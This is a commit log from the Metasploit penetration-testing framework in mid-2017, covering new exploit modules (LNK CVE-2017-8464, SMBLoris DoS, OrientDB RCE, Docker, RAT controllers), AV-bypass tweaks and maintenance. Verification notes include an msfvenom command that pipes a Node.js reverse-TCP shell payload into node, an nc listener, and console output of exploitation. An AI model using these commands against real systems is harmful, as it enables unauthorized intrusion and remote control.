Fixes test failures
2017-08-12 23:21:54 -07:00
Tim
7881a7ddc4
git submodule command exec
2017-08-13 11:47:44 +08:00
Patrick Thomas
437fe4b63a
handle missing util.pump in nodejs shell payloads
...
Modern NodeJS (since 5.3.0) has removed util.pump in favor of stream.pipe.
On current versions the nodejs tcp shell payloads error out:
```
$ node --version
v7.10.0
$ msfvenom -p nodejs/shell_reverse_tcp LHOST=127.0.0.1 LPORT=7777 | node
<snip>
TypeError: util.pump is not a function
at Socket.<anonymous> ([stdin]:1:405)
at Object.onceWrapper (events.js:293:19)
at emitNone (events.js:86:13)
at Socket.emit (events.js:188:7)
at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1080:10)
```
With this change, bind and reverse tcp should be tolerant of both new and older versions.
*Reference*
https://github.com/nodejs/node/pull/2531
*Verification steps*
1. Set up a handler (either exploit/multi/handler or simple nc)
```
$ nc -l -v 7777
```
2. Use patched version with various versions of node:
```
msfvenom -p nodejs/shell_reverse_tcp LHOST=127.0.0.1 LPORT=7777 | node
```
3. Confirm both old and new versions of node result in shell, not error.
2017-08-12 20:40:03 -07:00
William Vu
8afb7744cf
Land #8822 , optional DOPU check for smb_ms17_010
2017-08-11 14:24:29 -05:00
zerosum0x0
ecfe3d0235
added optional DoublePulsar check
2017-08-11 11:36:59 -06:00
Metasploit
be926e1d75
Bump version of framework to 4.15.7
2017-08-11 10:12:37 -07:00
Indranil Roy
de02b52c8e
Merge pull request #4 from rapid7/master
...
Merging master
2017-08-11 21:18:57 +05:30
Adam Cammack
71d26a22ea
Land #8819 , unpin dnsruby
2017-08-10 11:06:05 -05:00
Brent Cook
59cccfffad
unpin dnsruby, new release is out
2017-08-10 10:48:03 -05:00
William Vu
4315c2d8ea
Land #8802 , single-char args for terp scripts
2017-08-10 01:29:55 -05:00
Pearce Barry
bb5fffebc4
Land #8796 , SMBLoris Denial of Service Module.
2017-08-09 16:24:55 -05:00
Pearce Barry
901a1fdd1b
Minor tweaks.
2017-08-09 15:44:32 -05:00
Jon Hart
1b6acd768e
Land #8817 , fixing @jhart-r7's ruby 2.2 blunder
2017-08-09 13:19:20 -07:00
Christian Mehlmauer
1b6b29c22b
fix error with rdp scanníng
2017-08-09 21:32:15 +02:00
thesubtlety
7e860571ae
fix bug where api_token auth was being used without token being set
2017-08-09 12:30:26 -04:00
thesubtlety
9bb102d72d
add jenkins v2 cookie support
2017-08-09 12:29:31 -04:00
bwatters-r7
dd79aa3afb
Land #8627 , Add post module multi/gather/jenkins
2017-08-09 10:43:21 -05:00
Christian Mehlmauer
39c848fd3d
update bundler before installing gems
2017-08-09 15:34:23 +02:00
Brent Cook
e64eaf1573
remove additional match? for older ruby compat
2017-08-08 19:51:35 -05:00
Brent Cook
3f8ee86e3e
revert match change - this has problems with older ruby versions
2017-08-08 19:47:48 -05:00
Brent Cook
0ac19087cd
Land #8720 , add resiliency (retries + sleep) to linux x86 stagers
2017-08-08 19:36:47 -05:00
Brent Cook
4ca68a178b
switch reverse_tcp stagers to all prefer StagerRetryCount
...
This leaves ReverseConnectRetries as an alternate spelling.
2017-08-08 19:27:00 -05:00
Brent Cook
83212b8b6b
minor code cleanup
2017-08-08 19:26:59 -05:00
Brent Cook
bca8e77163
add alias support for datastore options
2017-08-08 19:26:59 -05:00
Brent Cook
b35d53bd02
code cleanup in opt_int while we're here
2017-08-08 19:06:51 -05:00
Brent Cook
47dc3772a7
add OptFloat datastore option
2017-08-08 19:06:51 -05:00
Brent Cook
331279d891
handle fractional seconds
2017-08-08 19:06:46 -05:00
William Vu
3396afb41a
Add IP and port (peer) to print_brute messages
2017-08-08 15:46:40 -05:00
William Vu
39e59805f9
Fix annoying print_brute messages in ssh_login
2017-08-08 15:15:23 -05:00
David Maloney
67e86da50b
make SMBLoris run continuously as requested
...
as per ZeroSum's request the module now runs
continuously, refreshing the connections on every pass
until manually killed
2017-08-08 10:16:16 -05:00
tkmru
a396d860e7
change SleepSeconds to StagerRetryWait
2017-08-08 19:26:24 +09:00
OJ
d7e8b32312
Merge branch 'upstream/master' into transport-agnostic-packet-encryption
2017-08-08 17:30:51 +10:00
Tim
9c87f5f52f
commands should be highlighted
2017-08-08 12:45:39 +08:00
Tim
eb3e07ee10
minor tweak since background is default now
2017-08-08 12:37:28 +08:00
Tim
61bb59d653
fix typos
2017-08-08 12:31:30 +08:00
Tim
0fde536691
add documentation for OSX meterpreter
2017-08-08 12:26:22 +08:00
Agora Security
2fab8f5d2a
Fix Spaces at EOL
2017-08-07 16:39:16 -04:00
Adam Cammack
1a9a942c1f
Add external module template for capture servers
2017-08-07 13:31:46 -05:00
Agora Security
663824de85
Fix indentation, fix how locations adds values and remove unnecesary code
2017-08-07 13:16:27 -04:00
Tim
46ca543712
add docs for Android APK injection
2017-08-07 15:56:48 +08:00
Pearce Barry
f71ca924c4
Land #8801 , Support padding on the CAN bus.
2017-08-06 21:03:28 -05:00
Josh Hale
ed2286c637
Fix references to multi_console_command
2017-08-06 18:58:38 -05:00
Pearce Barry
e1576154fb
Document the new padding option.
2017-08-06 18:34:56 -05:00
Josh Hale
fe2962b2cb
Single char args winbf
2017-08-06 18:12:45 -05:00
Josh Hale
204d28aed7
Single char args scheduleme
2017-08-06 18:10:31 -05:00
Josh Hale
7cb79e8714
Single char args packetrecorder
2017-08-06 18:09:09 -05:00
Josh Hale
6b46becf4e
Single char args netenum
2017-08-06 18:07:34 -05:00
Pearce Barry
cfd377fbd4
Support padding on the CAN bus.
...
Also use a hash for passing options around instead of individual params.
2017-08-06 18:05:59 -05:00
Josh Hale
b2005e761d
Single char args multiscript
2017-08-06 17:58:13 -05:00
Josh Hale
6067e9423e
Single char args multi_meter_inject.
2017-08-06 17:57:29 -05:00
Josh Hale
d0419cdfb8
Single char args multicommand
2017-08-06 17:52:07 -05:00
Josh Hale
40313bf623
Single char args multi_console_console_command
2017-08-06 17:46:05 -05:00
james
b8d794cc37
Identify systemd-nspawn containers in checkcontainer
...
Check the value of the "container" environment variable:
- "lxc" indicates a LXC container
- "systemd-nspawn" indicates a systemd nspawn container
2017-08-06 00:46:09 -05:00
james
9858147dae
Add module to detect Docker and LXC containers
...
Detect Docker by:
- Presence of .dockerenv file.
- Finding "docker" in /proc/1/cgroup
Detect LXC by:
- Finding "lxc" in /proc/1/cgroup
2017-08-05 18:59:36 -05:00
Martin Pizala
2383afd8dc
Fix improved error handling
2017-08-04 23:42:44 +02:00
David Maloney
289f03241b
add module documentation
...
add module docs for the new smbloris DoS
2017-08-04 16:10:44 -05:00
David Maloney
15cc2a9dc0
removedthreading stuff, tried keepalives
...
still seem to be topping out at
about 1.3GB allocated
2017-08-04 15:28:01 -05:00
Metasploit
83cd0bc977
Bump version of framework to 4.15.6
2017-08-04 10:07:09 -07:00
Brent Cook
7ce813ae6e
Land #8767 , Add exploit module for CVE-2017-8464
...
LNK Code Execution Vulnerability
2017-08-03 17:10:16 -05:00
Brent Cook
da3ca9eb90
update some documentation
2017-08-03 17:09:44 -05:00
David Maloney
e73ffe648e
tried adding supervisor model to smbloris
...
tried to overcome issues with slowdown
around the 4500 connection mark by using the
supervisor pattern to terminate the threads on
the backend. this seems to get us further, but we still
hit a slowdown and the allocations die out before
we hit any serious usage
2017-08-03 14:19:35 -05:00
William Vu
347b79e5f2
Land #8643 , pretty printing for aux/post fail_with
2017-08-03 12:07:55 -05:00
David Maloney
c9da2d56b9
first pass at SMBLoris DoS module
...
the first pass on the DoS module for SMBLoris
running into issues with it topping out around 600MB
2017-08-03 11:32:57 -05:00
Yorick Koster
81500f7336
Updated Mutex code, reduce the number of times the payload is executed
2017-08-03 10:26:55 -05:00
Christian Mehlmauer
fcb939c717
Land #8792 , ruby 2.2 compatibility
2017-08-03 16:08:20 +02:00
Brent Cook
ddd841c0a8
code style cleanup + add automatic targeting based on payload
2017-08-03 00:27:54 -05:00
Brent Cook
b62429f6fa
handle drive letters specified like E: nicely
2017-08-03 00:27:22 -05:00
Brent Cook
a12f3c4c23
remove if => unless suggestions from rubocop
2017-08-03 00:26:04 -05:00
Yorick Koster
c3bc27385e
Added source code for DLL template
2017-08-02 15:47:22 -05:00
Yorick Koster
46ec04dd15
Removed This PC ItemID & increased timeout in WaitForSingleObject
...
Remove the This PC ItemID to bypass (some) AV.
Timeout for WaitForSingleObject is set to 2,5s. After this timeout a
mutex is released allowed a new payload to be executed.
2017-08-02 15:47:22 -05:00
Yorick Koster
e6e94bad4b
Replace CreateEvent with CreateMutex/WaitForSingleObject
...
Time out is set to 1500 ms to prevent running the payload multiple times
2017-08-02 15:47:22 -05:00
Yorick Koster
e51e1d9638
Added new DLL templates to prevent crashing of Explorer
2017-08-02 15:47:21 -05:00
Yorick Koster
67dddd2402
Typo reported by @nixawk
2017-08-02 15:47:21 -05:00
Yorick Koster
3229320ba9
Code review feedback from @nixawk
2017-08-02 15:46:51 -05:00
Yorick Koster
565a3355be
CVE-2017-8464 LNK Remote Code Execution Vulnerability
...
This module exploits a vulnerability in the handling of Windows
Shortcut files (.LNK) that contain a dynamic icon, loaded from a
malicious DLL.
This vulnerability is a variant of MS15-020 (CVE-2015-0096). The
created LNK file is similar except in an additional
SpecialFolderDataBlock is included. The folder ID set in this
SpecialFolderDataBlock is set to the Control Panel. This is enought to
bypass the CPL whitelist. This bypass can be used to trick Windows into
loading an arbitrary DLL file.
2017-08-02 15:46:30 -05:00
Brent Cook
24d323d4ed
remove more instances of positive?
2017-08-02 12:47:34 -05:00
Martin Pizala
b78cb12546
Ruby 2.2 support. See #8792
2017-08-02 18:06:48 +02:00
Professor-plum
234a95af78
Delete xtreme.rb
...
removed duplicate file from wrong location
2017-08-02 08:58:18 -06:00
Jon P
adbeab81da
Avoid exceptions
2017-08-02 15:03:36 +02:00
Brent Cook
6f97e45b35
enable Ruby 2.2 compat checks in Rubocop, correct multi/handler compat
2017-08-02 06:18:02 -05:00
Brent Cook
ff189147e7
rb-readline made a release, use 0.5.5 instead of git HEAD
2017-08-02 06:09:27 -05:00
OJ
54ded4300e
Land #8791 - Update Accuvant refs to point to Optiv
2017-08-02 13:26:52 +10:00
TC Johnson
8989d6dff2
Modified Accuvant bog posts to the new Optive urls
2017-08-02 13:25:17 +10:00
Brent Cook
bb2304a2d1
Land #8769 , improve style, compatibility, for ssh modules
2017-08-01 21:43:32 -05:00
Brent Cook
1d75a30936
update style for other ssh exploits
2017-08-01 16:05:25 -05:00
Brent Cook
390f4d52db
add ed25519 support for net-ssh
2017-08-01 16:05:25 -05:00
Brent Cook
e27b0c7589
remove conditional assignment warning
2017-08-01 15:19:13 -05:00
Brent Cook
8c9fb1d529
remove unneeded netssh checks in modules
2017-08-01 14:46:10 -05:00
Brent Cook
4395f194b1
fixup style warnings in f5 bigip privkey exploit
2017-08-01 14:45:05 -05:00
Brent Cook
176c54fcae
disable a couple of unwise rubocop warnings
2017-08-01 14:44:22 -05:00
Tabish Imran
f1b07b5c6d
Add send_cmd_data function from /lib/metasploit/framework/ftp/client.rb to class
2017-08-02 01:14:08 +05:30
Brent Cook
e61cccda0b
Land #8779 , Adding error handler for ms17-010 exploit where SMBv1 is disabled
2017-08-01 14:00:12 -05:00
OJ
6ee5d83a15
Add the COM hijack method for bypassing UAC
2017-07-31 14:26:39 +10:00
Professor-plum
055d64d32b
Fixed to modules as suggested from upstream
...
fixed typo in xtreme.rb when communicating with C&C
removed self.class from options on all three modules
added line to log path where loot has been stored in xtreme.rb
2017-07-30 10:14:05 -06:00
Martin Pizala
60c3882b84
Improved error handling
2017-07-30 09:07:52 +02:00
Professor-plum
5c8a90a7be
Add files via upload
...
This module is a Xtreme Rat Server Remote File Download Exploit that allows for blind file retrieval from the target
## Verification
Run the Xtreme Rat server on a target windows machine.
- [ ] use exploit/windows/misc/xtreme
- [ ] set RHOST [ip of target]
- [ ] set TARGETFILE testfile.txt
- [ ] exploit
Sample output:
```
msf> use exploit/windows/misc/xtreme
msf exploit(plugx) > set rhost 192.168.161.128
rhost => 192.168.161.128
msf exploit(plugx) > set target 1
TARGETFILE => testfile.txt
[*] 192.168.161.128:80 - Trying target Xtreme RAT 3.7...
```
2017-07-29 11:43:37 -06:00
Professor-plum
99546330f1
Added PlugX Controller Stack Overflow Module
...
This module exploits a stack overflow in the Plug-X Controller when handling a larger than expected message. This vulnerability can allow remote code execution however it causes a popup message to be displayed on the target before execution is gained.
## Verification
Run the PlugX C2 server on a target windows machine. The sample 9f59a606c57217d98a5eea6846c8113aca07b203e0dcf17877b34a8b2308ade6 is a Plux Type 1 server that works good for testing.
- [ ] use exploit/windows/misc/plugx
- [ ] set RHOST [ip of target]
- [ ] set target 1
- [ ] exploit
- [ ] acknowledge the "PeDecodePacket" message on the target
Sample output:
```
msf> use exploit/windows/misc/plugx
msf exploit(plugx) > set rhost 192.168.161.128
rhost => 192.168.161.128
msf exploit(plugx) > set target 1
target => 1
msf exploit(plugx) > check
[*] 192.168.161.128:13579 - "\x03\xB0\x02\x00\x04\x00"
[*] 192.168.161.128:13579 The target appears to be vulnerable.
msf exploit(plugx) >
2017-07-29 10:36:42 -06:00
Professor-plum
c336daec8d
Added Gh0st Controller Buffer Overflow Module
...
This module exploits a buffer overflow in the Gh0st Controller when handling a drive list as received by a victim. This vulnerability can allow remote code execution
## Verification
Run the Gh0st C2 server on a target windows machine. The sample 0efd83a87d2f5359fae051517fdf4eed8972883507fbd3b5145c3757f085d14c is a Gh0st 3.6 server that works good for testing.
- [ ] use exploit/windows/misc/gh0st
- [ ] set RHOST [ip of target]
- [ ] exploit
Sample output:
```
msf > use exploit/windows/misc/gh0st
msf exploit(gh0st) > set rhost 192.168.161.128
rhost => 192.168.161.128
msf exploit(gh0st) > exploit
[*] Started reverse TCP handler on 192.168.161.1:4444
[*] 192.168.161.128:80 - Trying target Gh0st Beta 3.6
[*] 192.168.161.128:80 - Spraying heap...
[*] 192.168.161.128:80 - Trying command 103...
[*] Sending stage (957487 bytes) to 192.168.161.128
[*] Meterpreter session 1 opened (192.168.161.1:4444 -> 192.168.161.128:49161) at 2017-07-29 10:11:4
2017-07-29 10:21:05 -06:00
tkmru
14507747d0
update CachedSize
2017-07-29 23:42:43 +09:00
tkmru
f961d7da13
update src
2017-07-29 21:08:52 +09:00
tkmru
bc6f19a919
add sleepSeconds, sleepNanoseconds option
2017-07-29 20:55:53 +09:00
tkmru
b1e26dd17e
Merge branch 'master' of https://github.com/rapid7/metasploit-framework into feature/linux_reverse_tcp_x86_retry
2017-07-29 17:24:59 +09:00
wchen-r7
c5021bf665
Land #8761 , Add CVE-2017-7442: Nitro Pro PDF Reader JS API Code X
2017-07-28 17:02:59 -05:00
Metasploit
70f659370f
Bump version of framework to 4.15.5
2017-07-28 10:21:44 -07:00
Brent Cook
cdda4bd918
Land #8784 , update payloads
2017-07-28 09:59:11 -07:00
Brent Cook
ddc4fd95a5
Update payloads
...
This incorporates support for HiDPI displays with screen capture for Windows
meterpreter, and fixes a communications bug with Android meterpreter.
2017-07-28 09:56:03 -07:00
Jon P
85f48b96bb
Fix syntax
2017-07-28 10:16:59 +02:00
Martin Pizala
d7d64286e2
Add documentation for exploit module Rancher Server - Docker Exploit
2017-07-28 08:04:59 +02:00
Martin Pizala
6a20e1ac7d
Add module Rancher Server - Docker Exploit
2017-07-28 08:04:21 +02:00
multiplex3r
b2ecaa489d
Rescue only RubySMB::Error::CommunicationError
2017-07-27 19:19:45 +10:00
multiplex3r
f2091928ec
Adding no SMBv1 error handler for ms17-010 exploit
2017-07-27 16:21:09 +10:00
Ricardo Almeida
4845b4b1fa
Orientdb 2.2.x RCE - Fix regular expression for version detection
2017-07-26 14:35:05 +01:00
Jon P
2e87a3d3f8
Multi Gather Docker Credentials Collection
2017-07-26 15:14:16 +02:00
Ricardo Almeida
30664924c8
Orientdb 2.2.x RCE - Reverted to send_request_raw due to issues exploiting windows boxes
2017-07-26 13:59:14 +01:00
Brendan Coles
798dfe0b88
Add documentation
2017-07-26 10:18:23 +00:00
tkmru
2ec064418f
fix desc
2017-07-26 14:22:09 +09:00
tkmru
eb536ba67c
Merge branch 'master' of https://github.com/rapid7/metasploit-framework into feature/linux_reverse_tcp_x64_retry
2017-07-26 09:48:17 +09:00
Martin Pizala
dd0c78484a
Fix mistake
2017-07-26 02:17:51 +02:00
Martin Pizala
853ae9a6ce
Add new reference
2017-07-26 02:16:56 +02:00
1cph93
9c930aad6e
Add space after comma in f5_bigip_known_privkey module to coincide with Ruby style guide
2017-07-25 19:43:29 -04:00
Martin Pizala
cd418559bc
Docker Daemon - Unprotected TCP Socket Exploit
2017-07-26 00:21:35 +02:00
Tabish Imran
0b001fdea6
Modify to reduce rubocop offenses
2017-07-25 17:46:05 +05:30
William Vu
c9853a6bfe
Land #8735 , robots.txt for HttpServer
2017-07-24 18:26:41 -05:00
William Vu
a950ecc345
Clean up style
2017-07-24 18:26:05 -05:00
William Vu
2d9e14b208
Land #8763 , exploit/multi/handler improvements
...
ExitOnSession=false && Passive
2017-07-24 17:55:16 -05:00
Brent Cook
354869205a
make exploit/multi/handler passive
...
This gives exploit/multi/handler a makeover, updating to use more-or-less
standard Ruby, and removing any mystical hacks at the same time (like select
instead of sleep).
This also gives it a Passive stance, and sets ExitOnSession to be false by
default, which is the setting that people use 99% of the time anyway.
2017-07-24 15:47:06 -07:00
William Vu
d5d1b4b974
Land #8612 , RSS feed plugin
...
<3 @mubix
2017-07-24 17:27:00 -05:00
William Vu
f77554f3dc
Clean up plugin
...
Just whitespace. ;)
2017-07-24 17:26:39 -05:00
mr_me
bf4dce19fb
I added the SSD advisory
2017-07-24 14:25:10 -07:00
Rob Fuller
b66119b0d5
fix egypt red pen
2017-07-24 13:47:37 -07:00
Rob Fuller
67cc95afa3
remove Id - Revision lines
2017-07-24 12:48:51 -07:00
Tabish Imran
da8cb48639
Add FTP protocol client implementation
2017-07-25 00:56:34 +05:30
Tabish Imran
ab37ccb173
Add FTP protocol support
2017-07-25 00:56:19 +05:30
mr_me
b099196172
deregistered SSL, added the HTA dodgy try/catch feature
2017-07-24 10:28:03 -07:00
mr_me
17b28388e9
Added the advisory, opps
2017-07-24 10:09:21 -07:00
mr_me
14ca2ed325
Added a icon loading trick by Brendan
2017-07-24 10:06:20 -07:00
mr_me
b2a002adc0
Brendan is an evil genius\!
2017-07-24 09:58:23 -07:00
mr_me
cc8dc002e9
Added CVE-2017-7442
2017-07-24 08:21:59 -07:00
Brendan Coles
d66e8062e7
Add TeamTalk Gather Credentials auxiliary module
2017-07-24 14:24:38 +00:00
Brent Cook
cdfb6782a8
Land #8639 , Add mic audio streaming to Linux/OSX native meterpreter
2017-07-24 07:01:00 -07:00
Brent Cook
12198a0881
Land #8716 , print_* normalization, url and splat updates, rubocop fixes
2017-07-24 06:36:09 -07:00
Brent Cook
6300758c46
use https for metaploit.com links
2017-07-24 06:26:21 -07:00
Brent Cook
80d18fae6a
update example modules to have zero violations
2017-07-24 06:15:54 -07:00
Brent Cook
6e06d1a8b1
update rubocop rules for common practice
2017-07-24 06:15:35 -07:00
Brent Cook
1d290d2491
resurrect one print_error/bad conversion for symmetry
2017-07-24 05:55:34 -07:00
Brent Cook
8db3f74b81
fix a broken link
2017-07-24 05:53:09 -07:00
Brent Cook
838b066abe
Merge branch 'master' into land-8716
2017-07-24 05:51:44 -07:00
Ricardo Almeida
fe5c6dc28f
Orientdb 2.2.x RCE - Update documentation
2017-07-24 10:09:06 +01:00
Ricardo Almeida
6c22f785e9
Orientdb 2.2.x RCE - Fine tune vulnerable version detection; removed redundant uri normalization checking; Swapped send_request_raw for send_request_cgi; using vars_get;
2017-07-24 09:52:47 +01:00
Brent Cook
a0511c79a4
pull in minor build fixes and filesystem stat implementation from python
...
This pulls in https://github.com/rapid7/metasploit-payloads/pull/219
and https://github.com/rapid7/metasploit-payloads/pull/195
2017-07-23 22:37:43 -07:00
Brent Cook
92d1b3f634
Land #8757 , Properly handle threads and window destruction, add PID logging
2017-07-23 22:33:06 -07:00
Brent Cook
3bc0c18e6a
Properly handle threads and window destruction, add PID logging
...
This pulls in https://github.com/rapid7/metasploit-payloads/pull/213
which fixes https://github.com/rapid7/metasploit-framework/issues/8608
and adds PID logging to verbose keyboard capture.
2017-07-23 22:27:42 -07:00
Brent Cook
776523b9cc
Land #8756 , Add eval alternative to PHP Meterpreter to bypass suhosin
2017-07-23 22:15:32 -07:00
Brent Cook
8444038c62
Add eval alternative to PHP Meterpreter to bypass suhosin
...
See https://suhosin.org/stories/index.html for more information on this system.
2017-07-23 22:04:09 -07:00
Brent Cook
800cdcc866
Land #8737 , better handle sudden disconnects with SMTP servers
2017-07-23 15:04:50 -07:00
Brent Cook
6849e510cd
Land #8755 , skip rb-readline pin on Windows
2017-07-23 13:14:45 -07:00
Brent Cook
85e9be0705
only pin rb-readline on linux/osx
2017-07-23 12:13:15 -07:00
Pearce Barry
fb905c4bc7
Land #8754 , fix some module documentation
2017-07-23 11:44:07 -05:00
Pearce Barry
a140209c36
Land #8739 , cleanup windows_autologin
2017-07-23 11:35:34 -05:00
Brent Cook
7c55cdc1c8
fix some module documentation
...
3 modules got documentation landed in the wrong spot. This also fixes a few
typos and improves formatting.
2017-07-23 07:46:52 -07:00
Brent Cook
df22e098ed
Land #8695 , Fix #8675 , Add Cache-Control header, also meta tag for BAP2
2017-07-23 07:17:45 -07:00
Brent Cook
8c8dbc6d38
Land #8692 , Fix #8685 , Check nil condition for #wordlist_file in jtr modules
2017-07-23 07:12:21 -07:00
Brent Cook
2c3712479d
Land #8750 , openssl_heartbleed fix, use ruby 2.4 OpenSSL::PKey::RSA API
2017-07-23 06:58:40 -07:00
Brent Cook
6e1274048e
Land #8753 , Fix an issue where 'sleep' with Python Meterpreter appears to fail
2017-07-23 05:46:01 -07:00
Brent Cook
b75530b978
Fix an issue where 'sleep' with Python Meterpreter appears to fail.
2017-07-23 05:38:06 -07:00
Brent Cook
399557124f
update payload cached sizes
2017-07-23 05:28:32 -07:00
Brent Cook
302b66c2d8
add payloads support for OSX with python meterpreter
2017-07-23 05:26:59 -07:00
Brent Cook
ee992daeff
Land #8752 , Hide errors in Windows Meterpreter sessions
2017-07-23 05:20:41 -07:00
Brent Cook
072b0dc90b
Hide errors in Windows Meterpreter sessions
...
In Windows Meterpreter sessions, set newly created threads via
SetThreadErrorMode to not display error popups when there are failures.
2017-07-23 05:09:01 -07:00
Brendan Coles
109fd8b6d3
Add Asterisk Gather Credentials auxiliary module
2017-07-23 09:55:12 +00:00
Christian Mehlmauer
b4bb384577
add @pbarry-r7 's feedback
2017-07-22 18:54:36 +02:00
RageLtMan
e787d43344
Implement wrap_double_quotes in Msf PSH namespace
...
This is the Msf side of Rex Powershell #7
2017-07-22 02:40:15 -04:00
g0tmi1k
e710701416
Made msftidy.rb happy
...
...untested with the set-cookie 'fix'
2017-07-21 19:55:26 -07:00
Pearce Barry
6bb745744b
Land #8471 , Add VICIdial user_authorization Unauthenticated Command Execution module
2017-07-21 15:57:08 -05:00
Evgeny Naumov
5d04775f5e
use 2.4 OpenSSL::PKey::RSA api
2017-07-21 16:28:07 -04:00
Metasploit
50474a1ea7
Bump version of framework to 4.15.4
2017-07-21 10:03:44 -07:00
Pearce Barry
6a686a277b
Land #8742 , HWBRIDGE RFTRANSCEIVER ADD LOWBALL SUPPORT
2017-07-21 11:46:21 -05:00
Pearce Barry
3043218a7f
Indention and missing comma fixup.
2017-07-21 11:43:49 -05:00
Pearce Barry
1fa0df6039
Land #8745 , bump rex-core, reverting threadsafe select changes
2017-07-21 10:17:44 -05:00
g0tmi1k
524373bb48
OCD - Removed un-needed full stop
2017-07-21 07:41:51 -07:00
g0tmi1k
772bec23a1
Fix various typos
2017-07-21 07:40:08 -07:00
M4P0
c187f709dc
Update geutebrueck_gcore_x64_rce_bo.rb
...
Review changes with msftidy.
2017-07-21 11:37:12 +02:00
Brent Cook
c5101b71a0
bump rex-core, reverting threadsafe select changes
2017-07-20 23:21:19 -05:00
Brent Cook
510ff888fd
Land #8439 , native OSX meterpreter support
2017-07-20 22:01:49 -05:00
Samuel Huckins
d0aeef9f8e
Removed dead SourceForge link
2017-07-20 09:32:52 -05:00
Brent Cook
1d0db02a64
bump payloads
2017-07-20 09:10:19 -05:00
Corey Harding
22e8f1cb48
HWBRIDGE RFTRANSCEIVER ADD LOWBALL SUPPORT
2017-07-20 05:09:00 -04:00
Ricardo Almeida
00a817d228
Orientdb 2.2.x RCE - Add documentation
2017-07-20 09:03:26 +01:00
thesubtlety
7d033688ce
clean up formatting
2017-07-19 17:27:44 -04:00
bwatters-r7
ffad0d1bbf
Land #8559 , Ipfire oinkcode exec
2017-07-19 14:31:18 -05:00
bwatters-r7
116a838cb0
Version check update and stylistic fix
2017-07-19 13:26:40 -05:00
bwatters-r7
618d1b9244
Land #8734 , Add RDP scanner module
2017-07-19 09:59:51 -05:00
g0tmi1k
3f6925196b
OCD - store_loot & print_good
2017-07-19 13:02:49 +01:00
g0tmi1k
ef826b3f2c
OCD - print_good & print_error
2017-07-19 12:48:52 +01:00
g0tmi1k
0f453c602e
Even more print_status -> print_good
2017-07-19 11:46:39 +01:00
g0tmi1k
df9b642746
More print_status -> print_good
2017-07-19 11:39:15 +01:00
g0tmi1k
b8d80d87f1
Remove last newline after class - Make @wvu-r7 happy
2017-07-19 11:19:49 +01:00
g0tmi1k
3d4feffc62
OCD - Spaces & headings
2017-07-19 11:04:15 +01:00
Ricardo Almeida
f3f96babb9
Orientdb 2.2.x RCE - Changed the java_craft_runtime_exec function; Tested the module against Win7-Pro-x64 with OrientDB v2.2.20 with StagerCmd flavors vbs and certutil with success
2017-07-19 10:46:10 +01:00
g0tmi1k
a008f8e795
BruteForce - > Brute Force
2017-07-19 10:39:58 +01:00
thesubtlety
5d4105db33
minor fixes per rubocop
2017-07-18 22:36:45 -04:00
thesubtlety
47f55b1c81
add documentation
2017-07-18 21:30:53 -04:00
Jin Qian
0f31edfe39
Change tab into space to be standard compliant
...
Thanks to Brent and Dave for pointing it out.
2017-07-18 16:17:53 -05:00
Christian Mehlmauer
0d3f5ae220
cleanup windows_autologin
2017-07-18 22:50:34 +02:00
Jon Hart
45f81f3c98
Squash some style issues
2017-07-18 12:45:02 -07:00
Jin Qian
6385593148
Fix SE campaign exception.
...
MS-2705, SE_campaign will crash when RCPT command got socket closure as a response. Thanks to Pearce for the triage.
2017-07-18 14:30:44 -05:00
Brent Cook
cc3168933f
update mettle payloads, template generator
2017-07-18 13:13:38 -05:00
Ricardo Almeida
219987726f
Orientdb 2.2.x RCE - Changed the CmdStager flavor to VBS script
2017-07-18 17:18:14 +01:00
Ricardo Almeida
5ca523e2ce
Orientdb 2.2.x RCE - Add warning about windows
2017-07-18 17:11:54 +01:00
Ricardo Almeida
af0a9c2f86
Orientdb 2.2.x RCE tidy stuff
2017-07-18 17:07:29 +01:00
Ricardo Almeida
99ba645034
Orientdb 2.2.x RCE
2017-07-18 16:53:44 +01:00
Brent Cook
f5e76092d6
Merge branch 'master' into land-8439-
2017-07-18 08:25:18 -05:00
RageLtMan
33a06faadb
Remove use_single_quotes option from Msf namespace
...
Internally wrapped lines of powershell built by :cmd_psh_payload
in the Rex namespace require being able to place wrapping quotes
in different logical places for :generate_psh_command_line and
:run_hidden_psh methods. Using single quotes in the Arguments
parameter of the hidden PSH runner and double quotes after the
-Command flag maintains allows us to wrap the outer command in
double quotes, while properly ecaping and wrapping the arguments
parameter for PSH execution in single quotes.
This isn't ideal, in a perfect world we'd be escaping all nested
quotes and escape chars of any type valid for PSH. However, that
would require more manual testing than anyone has time for (now).
2017-07-18 03:34:02 -04:00
Dave Farrow
378375c822
replaced devil tabs with spaces
2017-07-17 20:29:33 -07:00
Dave Farrow
e6fe90ea08
added robots.txt support for http exploit server
2017-07-17 17:47:36 -07:00
Metasploit
39b2e824ec
Bump version of framework to 4.15.3
2017-07-17 15:43:31 -07:00
bwatters-r7
ba92d42b57
Updated version check per @bcoles
2017-07-17 15:52:50 -05:00
Jon Hart
e93e524c3b
Merge branch 'upstream-master' into feature/rdp-scanner
2017-07-17 13:46:59 -07:00
Jon Hart
e5ef737c21
Add documentation
2017-07-17 13:45:12 -07:00
David Maloney
3ad4ff69b4
try and hard lock rex-powershell version
...
remove this later when the issues with this gem release are addressed
2017-07-17 15:25:26 -05:00
Jon Hart
43e04c8894
Improve RDP probe packet
2017-07-17 13:14:47 -07:00
David Maloney
ecce28e8b9
revert rex-powershell back to previous version
...
some things need to be worked out in framework before
this gem version is ready for release
2017-07-17 15:04:43 -05:00
Metasploit
f80c053114
Bump version of framework to 4.15.2
2017-07-17 12:01:22 -07:00
David Maloney
2a1c661c79
Land #8723 , Razr Synapse local exploit
...
lands ZeroSteiner's Razr Synapse local priv esc module
2017-07-17 13:34:17 -05:00
Brent Cook
f573a4804c
Land #8689 , Docker improvements
2017-07-17 10:12:20 -05:00
Brent Cook
535dfdfb25
Land #8729 , Fix a php warning about undefined constants
...
Merge remote-tracking branch 'upstream/pr/8729' into upstream-master
2017-07-17 10:07:21 -05:00
Brent Cook
806c68c67b
Land #8732 , bump rb-readline and dnsruby to fix upstream bugs
2017-07-17 09:57:25 -05:00
Brent Cook
d77e9acec0
libffi is no longer needed
2017-07-17 09:56:18 -05:00
Brent Cook
3a8f7cbabe
git is really needed in docker too
2017-07-17 09:41:47 -05:00
Brent Cook
ea02558390
bump prerelease gems to fix specific issues with Framework
...
rb-readline has an issue with the latest curses release
dnsruby changes the global thread behavior to abort on exception
2017-07-17 09:26:14 -05:00
Christian Mehlmauer
3c7d6c3a6a
fixed some bugs
2017-07-17 10:10:12 +02:00
Christian Mehlmauer
7d6992c0e8
respect windows
2017-07-17 09:58:20 +02:00
jvoisin
62615298e1
Fix a php warning
...
This should close #8670
